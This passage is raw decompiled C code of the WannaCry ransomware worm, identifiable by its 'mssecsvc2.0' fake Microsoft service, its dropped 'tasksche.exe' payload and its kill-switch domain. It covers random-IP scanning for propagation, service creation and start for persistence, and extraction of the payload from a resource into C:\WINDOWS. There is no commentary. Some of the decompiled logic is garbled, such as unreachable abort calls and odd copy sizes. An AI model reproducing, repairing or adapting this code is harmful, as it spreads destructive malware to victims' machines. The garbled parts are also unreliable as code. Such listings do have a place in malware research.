  4364.     if (WaitForSingleObject((char *)hHandle, 0x927c0) == 258) {
  4365.         // 0x4076f2
  4366.         TerminateThread((char *)hHandle, 0);
  4367.         // branch -> 0x4076fb
  4368.     }
  4369.     // 0x4076fb
  4370.     CloseHandle((char *)hHandle);
  4371.     // branch -> 0x407702
  4372.     // 0x407702
  4373.     InterlockedDecrement((int32_t *)&g1175);
  4374.     _endthreadex(0);
  4375.     return 0;
  4376. }
  4377.  
  4378. // Address range: 0x407720 - 0x40783f
  4379. int32_t function_407720(int32_t a1) {
  4380.     // 0x407720
  4381.     abort();
  4382.     // UNREACHABLE
  4383. }
  4384.  
  4385. // Address range: 0x407840 - 0x407a1f
  4386. int32_t function_407840(char * str2, char * format, int32_t (**a3)(char *), char * a4, int32_t a5) {
  4387.     g7 = *(int32_t *)0x40a09c;
  4388.     g3 = 1;
  4389.     int32_t v1 = g5; // bp-296
  4390.     g5 = GetTickCount();
  4391.     int32_t t;
  4392.     time(&t);
  4393.     char * threadHandle = GetCurrentThread(); // 0x40786f
  4394.     int32_t v2 = t + GetCurrentThreadId() + (int32_t)threadHandle; // 0x407885
  4395.     g4 = v2;
  4396.     int32_t seed = v2 + GetTickCount(); // 0x407887
  4397.     g1 = seed;
  4398.     srand(seed);
  4399.     int32_t v3;
  4400.     g2 = v3;
  4401.     g1182 = g8 == -4;
  4402.     int32_t dwMilliseconds = (int32_t)str2;
  4403.     int32_t dwMilliseconds2 = (int32_t)format;
  4404.     int32_t v4 = 1;
  4405.     int32_t v5 = 1;
  4406.     // branch -> 0x407897
  4407.     while (true) {
  4408.         int32_t v6 = v4;
  4409.         int32_t v7 = v5;
  4410.         // branch -> 0x407897
  4411.         while (true) {
  4412.             // 0x407897
  4413.             ((int32_t (*)())g7)();
  4414.             int32_t v8 = g1 - g5; // 0x407899
  4415.             g1 = v8;
  4416.             g1182 = v8 == 0x249f00;
  4417.             int32_t v9 = v8 < 0x249f01 ? v6 : g3; // 0x4078a2
  4418.             ((int32_t (*)())g7)();
  4419.             int32_t v10 = g1 - g5 < 0x124f81 ? v7 : g3; // 0x4078b1
  4420.             int32_t v11 = 0;
  4421.             int32_t v12;
  4422.             int32_t v13; // 0x40792b28
  4423.             if (v9 != 0) {
  4424.                 // 0x4078bd
  4425.                 if (str2 <= (char *)31) {
  4426.                     uint64_t v14 = (int64_t)function_407660();
  4427.                     g4 = 255;
  4428.                     g1 = v14 / 255;
  4429.                     int32_t v15 = v14 % 255; // 0x4078d3
  4430.                     g6 = v15;
  4431.                     g2 = v15;
  4432.                     g1182 = v15 == 127;
  4433.                     if (v15 != 127) {
  4434.                         // break -> 0x4078dc
  4435.                         break;
  4436.                     }
  4437.                     v6 = v9;
  4438.                     v7 = v10;
  4439.                     // continue -> 0x407897
  4440.                     continue;
  4441.                 } else {
  4442.                     v11 = v9;
  4443.                 }
  4444.                 // 0x4078e4
  4445.                 v13 = v12;
  4446.                 if (v10 != 0) {
  4447.                   lab_0x4078ec:
  4448.                     // 0x4078ec
  4449.                     if (str2 <= (char *)31) {
  4450.                         // 0x4078f6
  4451.                         v13 = (int64_t)function_407660() % 255;
  4452.                         // branch -> 0x407908
  4453.                     } else {
  4454.                         v13 = v12;
  4455.                     }
  4456.                 }
  4457.               lab_0x407908:
  4458.                 // 0x407908
  4459.                 g3 = (int64_t)function_407660() % 255;
  4460.                 int32_t v16 = function_407660(); // 0x407918
  4461.                 int32_t str;
  4462.                 sprintf((char *)&str, "%d.%d.%d.%d", g2, v13, g3, (int32_t)((int64_t)v16 % 255));
  4463.                 int32_t v17 = inet_addr((char *)&str); // 0x407946
  4464.                 int32_t v18 = function_407480(v17); // 0x40794c
  4465.                 g1 = v18;
  4466.                 g1182 = v18 == 0;
  4467.                 int32_t v19 = &v1; // 0x407a04
  4468.                 int32_t v20 = v10;
  4469.                 if (v18 >= 1) {
  4470.                     // 0x40795c
  4471.                     g1182 = true;
  4472.                     g1 = 0;
  4473.                     ((int32_t (*)(int32_t, int32_t))g7)(0, 0);
  4474.                     g5 = 1;
  4475.                     int32_t v21 = 1; // 0x407975
  4476.                     int32_t v22 = g8; // 0x407971
  4477.                     // branch -> 0x407971
  4478.                     int32_t v23; // 0x4079fa
  4479.                     while (true) {
  4480.                         // 0x407971
  4481.                         *(int32_t *)(v22 - 4) = v21;
  4482.                         *(int32_t *)(v22 - 8) = g3;
  4483.                         *(int32_t *)(v22 - 12) = *(int32_t *)(v22 + 24);
  4484.                         *(int32_t *)(v22 - 16) = g2;
  4485.                         *(int32_t *)(v22 - 20) = (int32_t)"%d.%d.%d.%d";
  4486.                         *(int32_t *)(v22 - 24) = v22 + 36;
  4487.                         *(int32_t *)(v22 - 28) = (int32_t)&g10;
  4488.                         sprintf(str2, format);
  4489.                         int32_t v24 = g8; // 0x407989
  4490.                         int32_t * v25 = (int32_t *)(v24 + 20); // 0x407990_0
  4491.                         *v25 = v24 + 60;
  4492.                         int32_t * v26 = (int32_t *)(v24 + 16); // 0x407991_1
  4493.                         *v26 = 0x407996;
  4494.                         int32_t v27 = inet_addr(str2); // 0x407991
  4495.                         g7 = v27;
  4496.                         *v25 = v27;
  4497.                         *v26 = 0x40799e;
  4498.                         int32_t v28 = function_407480(dwMilliseconds); // 0x407999
  4499.                         g1 = v28;
  4500.                         int32_t v29 = g8; // 0x40799e
  4501.                         int32_t v30 = v29 + 4; // 0x40799e
  4502.                         if (v28 < 1) {
  4503.                           lab_0x4079e5:
  4504.                             // 0x4079e5
  4505.                             *(int32_t *)(v30 - 4) = 50;
  4506.                             *(int32_t *)(v30 - 8) = (int32_t)&g15;
  4507.                             Sleep(dwMilliseconds);
  4508.                             v23 = v30;
  4509.                             // branch -> 0x4079ed
  4510.                         } else {
  4511.                             // 0x4079a5
  4512.                             *(int32_t *)v29 = 0;
  4513.                             *(int32_t *)(v29 - 4) = 0;
  4514.                             *(int32_t *)(v29 - 8) = g7;
  4515.                             *(int32_t *)(v29 - 12) = 0x407540;
  4516.                             *(int32_t *)(v29 - 16) = 0;
  4517.                             *(int32_t *)(v29 - 20) = 0;
  4518.                             *(int32_t *)(v29 - 24) = (int32_t)&g11;
  4519.                             int32_t v31 = _beginthreadex(str2, dwMilliseconds2, a3, a4, a5, NULL); // 0x4079b3
  4520.                             g1 = v31;
  4521.                             int32_t v32 = v31; // esi
  4522.                             int32_t v33 = g8; // 0x4079bb
  4523.                             int32_t v34 = v33 + 24; // 0x4079bb
  4524.                             if (v31 != 0) {
  4525.                                 int32_t * v35 = (int32_t *)(v33 + 20); // 0x4079c2_0
  4526.                                 *v35 = 0x36ee80;
  4527.                                 int32_t * v36 = (int32_t *)(v33 + 16); // 0x4079c7_0
  4528.                                 *v36 = v32;
  4529.                                 int32_t * v37 = (int32_t *)(v33 + 12); // 0x4079c8_2
  4530.                                 *v37 = (int32_t)&g12;
  4531.                                 if (WaitForSingleObject(str2, dwMilliseconds2) == 258) {
  4532.                                     // 0x4079d5
  4533.                                     *v35 = 0;
  4534.                                     *v36 = v32;
  4535.                                     *v37 = (int32_t)&g13;
  4536.                                     TerminateThread(str2, dwMilliseconds2);
  4537.                                     // branch -> 0x4079de
  4538.                                 }
  4539.                                 // 0x4079de
  4540.                                 *v35 = v32;
  4541.                                 *v36 = (int32_t)&g14;
  4542.                                 g1 = CloseHandle(str2);
  4543.                                 v30 = v34;
  4544.                                 // branch -> 0x4079e5
  4545.                                 goto lab_0x4079e5;
  4546.                             } else {
  4547.                                 v23 = v34;
  4548.                             }
  4549.                         }
  4550.                         int32_t v38 = g5; // 0x4079ed
  4551.                         int32_t v39 = v38 + 1; // 0x4079ed
  4552.                         g5 = v39;
  4553.                         g1182 = v38 == 254;
  4554.                         if (v39 >= 255) {
  4555.                             // break -> 0x4079fa
  4556.                             break;
  4557.                         }
  4558.                         v21 = v39;
  4559.                         v22 = v23;
  4560.                         // continue -> 0x407971
  4561.                     }
  4562.                     // 0x4079fa
  4563.                     g5 = *(int32_t *)(v23 + 28);
  4564.                     g7 = *(int32_t *)0x40a09c;
  4565.                     v11 = 0;
  4566.                     v19 = v23;
  4567.                     v20 = 0;
  4568.                     // branch -> 0x407a04
  4569.                 }
  4570.                 // 0x407a04
  4571.                 *(int32_t *)(v19 - 4) = 100;
  4572.                 *(int32_t *)(v19 - 8) = (int32_t)&g16;
  4573.                 Sleep(dwMilliseconds);
  4574.                 g3 = 1;
  4575.                 v4 = v11;
  4576.                 v12 = v13;
  4577.                 v5 = v20;
  4578.                 // branch -> 0x407897
  4579.                 break;
  4580.             }
  4581.             // 0x4078e4
  4582.             if (v10 == 0) {
  4583.                 v13 = v12;
  4584.                 goto lab_0x407908;
  4585.             }
  4586.             goto lab_0x4078ec;
  4587.         }
  4588.     }
  4589. }
  4590.  
  4591. // Address range: 0x407a20 - 0x407b8f
  4592. char * function_407a20(void) {
  4593.     int32_t v1 = g3; // 0x407a23
  4594.     int32_t v2 = g7; // bp-20
  4595.     int32_t v3 = g5; // bp-24
  4596.     char * v4 = GlobalAlloc(64, (int32_t)&g633); // 0x407a4b
  4597.     g1173 = (struct _OVERLAPPED *)v4;
  4598.     if (v4 == NULL) {
  4599.         // 0x407a56
  4600.         g5 = v3;
  4601.         g7 = v2;
  4602.         g3 = v1;
  4603.         return NULL;
  4604.     }
  4605.     char * v5 = GlobalAlloc(64, (int32_t)&g633); // 0x407a64
  4606.     g1174 = (int32_t)v5;
  4607.     if (v5 == NULL) {
  4608.         // 0x407a6f
  4609.         GlobalFree((char *)g1173);
  4610.         g5 = v3;
  4611.         g7 = v2;
  4612.         g3 = v1;
  4613.         return NULL;
  4614.     }
  4615.     int32_t v6 = 0; // edx
  4616.     int32_t v7 = &v3; // 0x407aa1
  4617.     int32_t v8 = 0; // 0x407aa1
  4618.     // branch -> 0x407a86
  4619.     while (true) {
  4620.         int32_t v9 = v8 == 0 ? (int32_t)&g22 : (int32_t)&g23;
  4621.         int32_t v10 = 4 * v8; // 0x407a96
  4622.         int32_t v11 = *(int32_t *)(v10 + (int32_t)&g1173); // 0x407a96
  4623.         char * v12 = (char *)v11;
  4624.         *(int32_t *)(v7 + 16 + v10) = v11;
  4625.         int32_t v13 = v8 != 0 ? 0xc8a4 : 0x4060; // 0x407aaa
  4626.         memcpy(v12, (char *)v9, v13 / 4);
  4627.         memcpy(v12, (char *)v9, 0);
  4628.         int32_t * v14 = (int32_t *)(g8 + 16 + 4 * v6); // 0x407abf_0
  4629.         *v14 = v13 + *v14;
  4630.         int32_t v15 = v6 + 1; // 0x407ac9
  4631.         v6 = v15;
  4632.         if (v15 >= 2) {
  4633.             char * fileHandle = CreateFileA((char *)&g1172, -0x80000000, 1, NULL, 3, 4, NULL); // 0x407ae3
  4634.             g3 = (int32_t)fileHandle;
  4635.             if (fileHandle != (char *)-1) {
  4636.                 // 0x407b11
  4637.                 g7 = 0;
  4638.                 g5 = GetFileSize(fileHandle, NULL);
  4639.                 abort();
  4640.                 // UNREACHABLE
  4641.             }
  4642.             // 0x407af0
  4643.             GlobalFree((char *)g1173);
  4644.             GlobalFree((char *)g1174);
  4645.             g5 = v3;
  4646.             g7 = v2;
  4647.             g3 = v1;
  4648.             return NULL;
  4649.         }
  4650.         // 0x407a86
  4651.         v7 = g8;
  4652.         v8 = v15;
  4653.         // branch -> 0x407a86
  4654.     }
  4655. }
  4656.  
  4657. // Address range: 0x407b90 - 0x407bcf
  4658. int32_t function_407b90(void) {
  4659.     int32_t v1;
  4660.     if (WSAStartup(514, (struct WSAData *)&v1) != 0) {
  4661.         // 0x407ba9
  4662.         g1 = 0;
  4663.         return 0;
  4664.     }
  4665.     // 0x407bb2
  4666.     function_407620();
  4667.     function_407a20();
  4668.     g1 = 0;
  4669.     return 0;
  4670. }
  4671.  
  4672. // Address range: 0x407bd0 - 0x407c3f
  4673. int32_t function_407bd0(int32_t a1) {
  4674.     // 0x407bd0
  4675.     function_407b90();
  4676.     g1 = 0;
  4677.     return 0;
  4678. }
  4679.  
  4680. // Address range: 0x407c40 - 0x407cdf
  4681. int32_t function_407c40(void) {
  4682.     int32_t v1 = g5; // 0x407c4a
  4683.     int32_t str;
  4684.     sprintf((char *)&str, "%s -m security", (struct _SERVICE_TABLE_ENTRYA *)&g1172);
  4685.     char * hSCManager = OpenSCManagerA(NULL, NULL, 0xf003f); // 0x407c68
  4686.     g5 = (int32_t)hSCManager;
  4687.     if (hSCManager == NULL) {
  4688.         // 0x407cca
  4689.         g1 = 0;
  4690.         g5 = v1;
  4691.         return 0;
  4692.     }
  4693.     int32_t v2 = g3; // 0x407c74
  4694.     int32_t v3 = g7; // 0x407c75
  4695.     g4 = &str;
  4696.     char * hService = CreateServiceA(hSCManager, "mssecsvc2.0", "Microsoft Security Center (2.0) Service", 0xf01ff, 16, 2, 1, (char *)&str, NULL, NULL, NULL, NULL, NULL); // 0x407c9b
  4697.     int32_t v4 = (int32_t)hService; // 0x407c9b_28
  4698.     g1 = v4;
  4699.     int32_t v5 = *(int32_t *)0x40a018; // 0x407ca1
  4700.     g3 = v5;
  4701.     g7 = v4;
  4702.     g1182 = hService == NULL;
  4703.     int32_t v6; // 0x407cbc
  4704.     if (hService != NULL) {
  4705.         // 0x407cad
  4706.         StartServiceA(hService, 0, NULL);
  4707.         g1 = CloseServiceHandle((char *)g7);
  4708.         v6 = g3;
  4709.         // branch -> 0x407cbb
  4710.     } else {
  4711.         v6 = v5;
  4712.     }
  4713.     int32_t v7 = g5; // 0x407cbb
  4714.     ((int32_t (*)(int32_t))v6)(v7);
  4715.     g7 = (int32_t)(char **)v7;
  4716.     g3 = (int32_t)(char *)v3;
  4717.     g1 = 0;
  4718.     g5 = v2;
  4719.     return 0;
  4720. }
  4721.  
  4722. // Address range: 0x407ce0 - 0x407f1f
  4723. char * function_407ce0(void) {
  4724.     int32_t v1;
  4725.     char * v2 = (char *)v1; // bp-640
  4726.     int32_t v3;
  4727.     char * v4 = (char *)v3; // bp-636
  4728.     int32_t v5 = g3; // 0x407ce6
  4729.     int32_t v6 = g2; // 0x407ce7
  4730.     int32_t v7 = g7; // 0x407ce8
  4731.     int32_t v8 = g5; // 0x407ce9
  4732.     char * hModule = GetModuleHandleW(L"kernel32.dll"); // 0x407cef
  4733.     int32_t hModule2 = (int32_t)hModule; // esi
  4734.     g3 = 0;
  4735.     if (hModule == NULL) {
  4736.         // 0x407f08
  4737.         g5 = v8;
  4738.         g7 = v7;
  4739.         g2 = v6;
  4740.         g3 = v5;
  4741.         return NULL;
  4742.     }
  4743.     // 0x407d01
  4744.     g122 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress(hModule, "CreateProcessA");
  4745.     g116 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress((char *)hModule2, "CreateFileA");
  4746.     g118 = (int32_t (*)(int32_t, int32_t))GetProcAddress((char *)hModule2, "WriteFile");
  4747.     int32_t (**func)() = GetProcAddress((char *)hModule2, "CloseHandle"); // 0x407d34
  4748.     g114 = (int32_t (*)(int32_t))func;
  4749.     int32_t v9 = g3; // 0x407d41
  4750.     if ((int32_t)g122 == v9 || (int32_t)g116 == v9 || (int32_t)g118 == v9 || (int32_t)func == v9) {
  4751.         // 0x407f08
  4752.         g5 = v8;
  4753.         g7 = v7;
  4754.         g2 = v6;
  4755.         g3 = v5;
  4756.         return NULL;
  4757.     }
  4758.     char * hModule3 = (char *)v9;
  4759.     v4 = hModule3;
  4760.     int32_t v10 = (int32_t)&v4;
  4761.     char * hResInfo = FindResourceA(hModule3, (char *)1831, g105); // 0x407d74
  4762.     int32_t hResInfo2 = (int32_t)hResInfo; // 0x407d74_8
  4763.     int32_t hModule4 = g3; // 0x407d7c
  4764.     if (hResInfo2 == hModule4) {
  4765.         // 0x407f08
  4766.         g5 = v8;
  4767.         g7 = v7;
  4768.         g2 = v6;
  4769.         g3 = v5;
  4770.         return NULL;
  4771.     }
  4772.     char * hResData = LoadResource((char *)hModule4, hResInfo); // 0x407d86
  4773.     if ((int32_t)hResData == g3) {
  4774.         // 0x407f08
  4775.         g5 = v8;
  4776.         g7 = v7;
  4777.         g2 = v6;
  4778.         g3 = v5;
  4779.         return NULL;
  4780.     }
  4781.     int32_t v11 = (int32_t)LockResource(hResData); // 0x407d95_4
  4782.     int32_t hModule5 = g3; // 0x407d9b
  4783.     if (v11 == hModule5) {
  4784.         // 0x407f08
  4785.         g5 = v8;
  4786.         g7 = v7;
  4787.         g2 = v6;
  4788.         g3 = v5;
  4789.         return NULL;
  4790.     }
  4791.     int32_t v12 = SizeofResource((char *)hModule5, (char *)hResInfo2); // 0x407da9
  4792.     g2 = v12;
  4793.     int32_t v13 = g3; // 0x407db1
  4794.     if (v12 == v13) {
  4795.         // 0x407f08
  4796.         g5 = v8;
  4797.         g7 = v7;
  4798.         g2 = v6;
  4799.         g3 = v5;
  4800.         return NULL;
  4801.     }
  4802.     int32_t str = 0x1000000 * v13 / 0x1000000;
  4803.     int32_t v14;
  4804.     memset((char *)&v14, 0, 64);
  4805.     v14 = 0;
  4806.     *(char *)((int32_t)&v14 | 2) = 0;
  4807.     int32_t v15;
  4808.     int32_t v16 = &v15; // 0x407dd4_0
  4809.     int32_t str2 = 0x1000000 * g3 / 0x1000000;
  4810.     memset((char *)&v15, 0, 64);
  4811.     g7 = *(int32_t *)0x40a10c;
  4812.     char * v17 = "tasksche.exe"; // bp-628
  4813.     v15 = 0;
  4814.     *(char *)(v16 | 2) = 0;
  4815.     g5 = v16 | 3;
  4816.     int32_t v18 = &str; // 0x407df7_0
  4817.     v4 = "C:\\%s\\%s";
  4818.     v2 = (char *)&str;
  4819.     int32_t v19 = (int32_t)&v2;
  4820.     sprintf((char *)&str, "C:\\%s\\%s", "WINDOWS", v17);
  4821.     v4 = (char *)&str2;
  4822.     sprintf((char *)&str2, "C:\\%s\\qeriuwjhrf", "WINDOWS");
  4823.     g1182 = g8 == -12;
  4824.     g6 = &str2;
  4825.     v4 = (char *)&str;
  4826.     bool v20 = MoveFileExA((char *)&str, (char *)&str2, 1); // 0x407e2c
  4827.     int32_t v21 = v20; // 0x407e2c_8
  4828.     g1 = v21;
  4829.     int32_t v22 = g3; // 0x407e32
  4830.     v4 = (char *)2;
  4831.     v2 = (char *)v22;
  4832.     g4 = v18;
  4833.     g116(v18, 0x40000000, v22, v22, 2, 4, v22);
  4834.     g7 = v21;
  4835.     g1182 = v20;
  4836.     if (v20) {
  4837.         // 0x407f08
  4838.         g5 = v8;
  4839.         g7 = v7;
  4840.         g2 = v6;
  4841.         g3 = v5;
  4842.         return NULL;
  4843.     }
  4844.     int32_t v23 = (int32_t)v4;
  4845.     g1 = v23;
  4846.     g6 = v10;
  4847.     int32_t v24 = g3;
  4848.     g118(v21, v23);
  4849.     g114(g7);
  4850.     int32_t str3;
  4851.     int32_t v25 = &str3; // 0x407e7e_0
  4852.     memset((char *)&v4, 0, 16);
  4853.     int32_t len = strlen((char *)&g104);
  4854.     int32_t v26 = (int32_t)&g104 - 1 - len; // 0x407e99
  4855.     v24 = g3;
  4856.     char * v27 = (char *)v26;
  4857.     g7 = v26;
  4858.     g2 = len + 1;
  4859.     strlen((char *)&str3);
  4860.     int32_t v28;
  4861.     g5 = &v28;
  4862.     memcpy((char *)&v28, v27, g2 / 4);
  4863.     g1 = &v24;
  4864.     int32_t v29 = g2 & 3; // 0x407eb8
  4865.     g1182 = v29 == 0;
  4866.     memcpy((char *)&v28, v27, v29);
  4867.     g4 = v19;
  4868.     g6 = v25;
  4869.     int32_t v30 = g3; // 0x407ec7
  4870.     v2 = (char *)68;
  4871.     g122(v30, v25, v30, v30, v30, 0x8000000, v30, v30, v19);
  4872.     int32_t v31 = g1; // 0x407eee
  4873.     g1182 = v31 == 0;
  4874.     if (v31 != 0) {
  4875.         // 0x407ef2
  4876.         g1 = v30;
  4877.         g114(v30);
  4878.         g4 = v30;
  4879.         g114(v30);
  4880.         // branch -> 0x407f08
  4881.     }
  4882.     // 0x407f08
  4883.     g5 = v8;
  4884.     g7 = v7;
  4885.     g2 = v6;
  4886.     g3 = v5;
  4887.     return NULL;
  4888. }
  4889.  
  4890. // Address range: 0x407f20 - 0x407f2f
  4891. int32_t function_407f20(void) {
  4892.     // 0x407f20
  4893.     function_407c40();
  4894.     function_407ce0();
  4895.     g1 = 0;
  4896.     return 0;
  4897. }
  4898.  
  4899. // Address range: 0x407f30 - 0x407f88
  4900. int32_t function_407f30(int32_t a1) {
  4901.     // 0x407f30
  4902.     switch (a1) {
  4903.         case 1: {
  4904.             // 0x407f41
  4905.             g108 = 1;
  4906.             g110 = 0;
  4907.             g112 = 0;
  4908.             g113 = 0;
  4909.             // branch -> 0x407f74
  4910.             break;
  4911.         }
  4912.         case 2: {
  4913.             // 0x407f5e
  4914.             g108 = 7;
  4915.             // branch -> 0x407f74
  4916.             break;
  4917.         }
  4918.         case 3: {
  4919.             // 0x407f6a
  4920.             g108 = 4;
  4921.             // branch -> 0x407f74
  4922.             break;
  4923.         }
  4924.         case 5: {
  4925.             // 0x407f41
  4926.             g108 = 1;
  4927.             g110 = 0;
  4928.             g112 = 0;
  4929.             g113 = 0;
  4930.             // branch -> 0x407f74
  4931.             break;
  4932.         }
  4933.     }
  4934.     int32_t result = SetServiceStatus(g117, (struct _SERVICE_STATUS *)&g107); // 0x407f80_6
  4935.     g1 = result;
  4936.     return result;
  4937. }
  4938.  
  4939. // Address range: 0x407f89 - 0x407fff
  4940. int32_t function_407f89(int32_t a1, int32_t lpInfo, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, char * hService, int32_t a9, int32_t a10, int32_t a11) {
  4941.     char * v1 = (char *)(g3 + 0x448b1cec); // 0x407f9f_0
  4942.     *v1 = (char)(g1 + (int32_t)*v1);
  4943.     lpInfo = 0;
  4944.     return ChangeServiceConfig2A(hService, 2, (char *)&lpInfo);
  4945. }
  4946.  
  4947. // Address range: 0x408000 - 0x40808f
  4948. char * function_408000(void) {
  4949.     int32_t v1 = 0; // esi
  4950.     g107 = (void (**)(int32_t))32;
  4951.     g108 = 2;
  4952.     g109 = 1;
  4953.     g110 = 0;
  4954.     g111 = 0;
  4955.     g112 = 0;
  4956.     g113 = 0;
  4957.     char * hServiceStatus = RegisterServiceCtrlHandlerA("mssecsvc2.0", (void (**)(int32_t))function_407f30); // 0x408043
  4958.     g117 = hServiceStatus;
  4959.     if ((int32_t)hServiceStatus == v1) {
  4960.         // 0x40808c
  4961.         return hServiceStatus;
  4962.     }
  4963.     // 0x408052
  4964.     g108 = 4;
  4965.     g112 = v1;
  4966.     g113 = v1;
  4967.     SetServiceStatus(hServiceStatus, (struct _SERVICE_STATUS *)&g107);
  4968.     function_407bd0(g7);
  4969.     Sleep(0x5265c00);
  4970.     ExitProcess(1);
  4971.     // UNREACHABLE
  4972. }
  4973.  
  4974. // Address range: 0x408090 - 0x40813f
  4975. int32_t function_408090(int32_t a1, int32_t a2) {
  4976.     // 0x408090
  4977.     int32_t v1;
  4978.     char * lpServiceStartTable = (char *)v1; // bp-16
  4979.     GetModuleFileNameA(NULL, (char *)&g1172, 260);
  4980.     if (*__p___argc() <= 1) {
  4981.         // 0x4080b0
  4982.         function_407f20();
  4983.         return 0;
  4984.     }
  4985.     char * hSCManager = OpenSCManagerA(NULL, NULL, 0xf003f); // 0x4080c3
  4986.     g5 = (int32_t)hSCManager;
  4987.     if (hSCManager == NULL) {
  4988.         // 0x408101
  4989.         lpServiceStartTable = "mssecsvc2.0";
  4990.         return StartServiceCtrlDispatcherA((struct _SERVICE_TABLE_ENTRYA *)&lpServiceStartTable);
  4991.     }
  4992.     int32_t v2 = g7; // 0x4080d0
  4993.     char * v3 = OpenServiceA(hSCManager, "mssecsvc2.0", 0xf01ff); // 0x4080dc
  4994.     int32_t v4 = (int32_t)v3; // 0x4080dc_8
  4995.     g1 = v4;
  4996.     int32_t v5 = *(int32_t *)0x40a018; // 0x4080e2
  4997.     g3 = v5;
  4998.     g7 = v4;
  4999.     g1182 = v3 == NULL;
  5000.     int32_t v6; // 0x4080fd
  5001.     if (v3 != NULL) {
  5002.         // 0x4080ee
  5003.         unknown_407fa0(v4, 60);
  5004.         g1182 = g8 == -8;
  5005.         g1 = CloseServiceHandle((char *)g7);
  5006.         v6 = g3;
  5007.         // branch -> 0x4080fc
  5008.     } else {
  5009.         v6 = v5;
  5010.     }
  5011.     int32_t v7 = g5; // 0x4080fc
  5012.     ((int32_t (*)(int32_t))v6)(v7);
  5013.     g7 = (int32_t)(char *)v7;
  5014.     g3 = (int32_t)(char *)v2;
  5015.     // branch -> 0x408101
  5016.     // 0x408101
  5017.     lpServiceStartTable = "mssecsvc2.0";
  5018.     return StartServiceCtrlDispatcherA((struct _SERVICE_TABLE_ENTRYA *)&lpServiceStartTable);
  5019. }
  5020.  
  5021. // Address range: 0x408140 - 0x4081cf
  5022. int32_t function_408140(void) {
  5023.     // 0x408140
  5024.     int32_t v1;
  5025.     char * v2 = (char *)v1; // bp-80
  5026.     int32_t v3 = g7; // 0x408143
  5027.     int32_t v4 = g5; // bp-88
  5028.     int32_t v5 = 0; // eax
  5029.     memcpy((char *)&v2, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com", 14);
  5030.     v2 = (char *)104;
  5031.     char * v6 = (char *)v5;
  5032.     char * v7 = InternetOpenA(v6, 1, v6, v6, v5); // 0x40817b
  5033.     g4 = (int32_t)&v2;
  5034.     char * v8 = InternetOpenUrlA(v7, (char *)&v2, NULL, 0, -0x7c000000, 0); // 0x408194
  5035.     g5 = (int32_t)v8;
  5036.     g7 = *(int32_t *)0x40a13c;
  5037.     InternetCloseHandle((char *)(int32_t)v7);
  5038.     if (v8 != NULL) {
  5039.         // 0x4081bc
  5040.         InternetCloseHandle((char *)g5);
  5041.         g5 = v4;
  5042.         g1 = 0;
  5043.         g7 = v3;
  5044.         return 0;
  5045.     }
  5046.     // 0x4081a7
  5047.     InternetCloseHandle(NULL);
  5048.     function_408090(v4, v3);
  5049.     g5 = v4;
  5050.     g1 = 0;
  5051.     g7 = v3;
  5052.     return 0;
  5053. }
  5054.  
  5055. // Address range: 0x4081d0 - 0x4081ff
  5056. int32_t function_4081d0(void) {
  5057.     int32_t v1 = *(int32_t *)(g4 + 4); // 0x4081d4
  5058.     g1 = v1;
  5059.     function_4097fe((char *)v1);
  5060.     g1 = 0;
  5061.     *(int32_t *)(g4 + 4) = 0;
  5062.     *(int32_t *)(g4 + 8) = 0;
  5063.     *(int32_t *)(g4 + 12) = 0;
  5064.     return 0;
  5065. }
  5066.  
  5067. // Address range: 0x408200 - 0x4082af
  5068. void function_408200(char * a1, char * a2, int32_t a3) {
  5069.     // 0x408200
  5070.     *(char *)g4 = *a2;
  5071.     unsigned char v1 = *a1; // 0x408212
  5072.     g1 = (int32_t)a2 & -256 | (int32_t)v1;
  5073.     int32_t v2 = 0; // ebx
  5074.     *(char *)(g4 + 1) = v1;
  5075.     *(char *)(g4 + 8) = (char)v2;
  5076.     _qm__qm_2_YAPAXI_Z(24);
  5077.     int32_t v3 = g1; // 0x408223
  5078.     int32_t v4 = v3; // ebp
  5079.     *(int32_t *)(v3 + 4) = v2;
  5080.     *(int32_t *)(v3 + 20) = 1;
  5081.     _qm__qm_0_Lockit_std__QAE_XZ();
  5082.     int32_t v5 = g1178; // 0x40823e
  5083.     if (v5 == v2) {
  5084.         // 0x408246
  5085.         g1178 = v3;
  5086.         *(int32_t *)v3 = v5;
  5087.         v4 = 0;
  5088.         *(int32_t *)(g1178 + 8) = v2;
  5089.         // branch -> 0x408259
  5090.     }
  5091.     // 0x408259
  5092.     g1177++;
  5093.     _qm__qm_1_Lockit_std__QAE_XZ();
  5094.     if (v4 != v2) {
  5095.         // 0x408274
  5096.         g1 = function_4097fe((char *)v4);
  5097.         // branch -> 0x40827d
  5098.     }
  5099.     // 0x40827d
  5100.     _qm__qm_2_YAPAXI_Z(24);
  5101.     *(int32_t *)(g1 + 4) = g1178;
  5102.     *(int32_t *)(g1 + 20) = v2;
  5103.     *(int32_t *)(g4 + 4) = g1;
  5104.     *(int32_t *)(g4 + 12) = v2;
  5105.     *(int32_t *)g1 = g1;
  5106.     int32_t v6 = *(int32_t *)(g4 + 4); // 0x408298
  5107.     *(int32_t *)(v6 + 8) = v6;
  5108. }
  5109.  
  5110. // Address range: 0x4082b0 - 0x4082bf
  5111. int32_t function_4082b0(int32_t * a1, int32_t a2) {
  5112.     // 0x4082b0
  5113.     *a1 = *(int32_t *)*(int32_t *)(g4 + 4);
  5114.     return (int32_t)a1;
  5115. }
  5116.  
  5117. // Address range: 0x4082c0 - 0x40838f
  5118. int32_t function_4082c0(int32_t * a1, int32_t a2, int32_t a3, int32_t a4) {
  5119.     int32_t result = (int32_t)a1;
  5120.     int32_t v1 = a3; // bp+12
  5121.     int32_t v2 = g2; // 0x4082c1
  5122.     g2 = a3;
  5123.     g7 = a2;
  5124.     int32_t v3 = g5; // 0x4082cb
  5125.     int32_t v4 = g4; // 0x4082cc
  5126.     g5 = v4;
  5127.     int32_t v5;
  5128.     if (*(int32_t *)(v4 + 12) != 0) {
  5129.         int32_t v6 = *(int32_t *)(v4 + 4); // 0x4082d5
  5130.         if (*(int32_t *)v6 == a2) {
  5131.             // 0x4082dc
  5132.             if (v6 == a3) {
  5133.                 int32_t v7 = *(int32_t *)(a3 + 4); // 0x4082e0
  5134.                 g3 = v7;
  5135.                 g1182 = v7 == g1178;
  5136.                 g7 = v7;
  5137.                 int32_t v8; // 0x40831f
  5138.                 int32_t v9; // 0x40832f
  5139.                 int32_t v10; // 0x408315
  5140.                 int32_t v11; // 0x408321
